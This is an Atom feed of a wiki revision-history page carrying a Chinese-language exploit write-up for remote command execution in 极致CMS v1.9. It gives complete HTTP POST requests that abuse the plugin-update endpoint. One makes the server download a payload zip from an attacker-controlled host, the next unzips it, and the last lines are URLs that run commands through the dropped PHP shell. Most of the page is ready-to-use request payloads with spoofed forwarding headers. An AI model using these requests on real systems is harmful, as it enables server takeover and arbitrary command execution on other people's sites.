https://pwnwiki.com/index.php?action=history&feed=atom&title=%E6%9E%81%E8%87%B4CMS_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn
极致CMS 遠程命令執行漏洞/zh-cn - Revision history
2026-04-04T13:41:05Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E6%9E%81%E8%87%B4CMS_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&diff=6457&oldid=prev
Pwnwiki: Created page with "==前提条件=="
2021-07-07T09:56:28Z
<p>Created page with "==前提条件=="</p>
<p><b>New page</b></p><div><languages /><br />
==漏洞信息==<br />
该漏洞首发于奇安信攻防社区，原文在<small>[https://forum.butian.net/share/232 这里]</small><br />
<br />
==影响版本==<br />
v1.9 All<br />
<br />
==前提条件==<br />
后台账号权限必须拥有权限插件管理（首页/管理员管理/角色管理/角色修改）<br />
<br />
==远程下载Payload==<br />
<pre><br />
action=start-download&filepath=3&download_url=http%3A%2F%2F（vps）%2F1.zip<br />
</pre><br />
<br />
[[File:Attach-67956642173c696f50f89f1cc25dfc617a83c747.png | 800px]]<br />
<br />
[[File:Attach-b17cbfb7b3891375823afc9d34bcc0ecff255317.png | 800px]]<br />
<br />
<br />
<pre><br />
POST /admin.php/Plugins/update.html HTTP/1.1<br />
Host: 192.168.1.108<br />
Content-Length: 80<br />
Accept: application/json, text/j avas cript, */*; q=0.01<br />
X-Requested-With: X MLHttpRequest<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36<br />
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />
Origin: http://192.168.1.108<br />
Referer: http://192.168.1.108/admin.php/Plugins/index.html<br />
Accept-Encoding: gzip, deflate<br />
Accept-Language: zh-CN,zh;q=0.9<br />
Cookie: PHPSESSID=g9470pcp62tg9og1a6798d3g23<br />
x-forwarded-for: 8.8.8.8<br />
x-originating-ip: 8.8.8.8<br />
x-remote-ip: 8.8.8.8<br />
x-remote-addr: 8.8.8.8<br />
Connection: close<br />
action=start-download&filepath=3&download_url=http%3A%2F%2F192.168.1.108%2F1.zip<br />
</pre><br />
<br />
==解压Payload==<br />
<pre><br />
action=file-upzip&filepath=3&download_url=<br />
</pre><br />
<br />
<pre><br />
POST /admin.php/Plugins/update.html HTTP/1.1<br />
Host: 192.168.1.108<br />
Content-Length: 42<br />
Accept: application/json, text/j avas cript, */*; q=0.01<br />
X-Requested-With: X MLHttpRequest<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36<br />
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />
Origin: http://192.168.1.108<br />
Referer: http://192.168.1.108/admin.php/Plugins/index.html<br />
Accept-Encoding: gzip, deflate<br />
Accept-Language: zh-CN,zh;q=0.9<br />
Cookie: PHPSESSID=g9470pcp62tg9og1a6798d3g23<br />
x-forwarded-for: 8.8.8.8<br />
x-originating-ip: 8.8.8.8<br />
x-remote-ip: 8.8.8.8<br />
x-remote-addr: 8.8.8.8<br />
Connection: close<br />
action=file-upzip&filepath=3&download_url=<br />
<br />
</pre><br />
<br />
==URLs==<br />
<pre><br />
http://127.0.0.1//A/exts/<Compressed file directory>/1.php?1=ipconfig<br />
http://127.0.0.1//A/exts/1/1.php?1=ipconfig<br />
</pre><br />
<br />
==参考==<br />
https://forum.butian.net/share/232</div>
Pwnwiki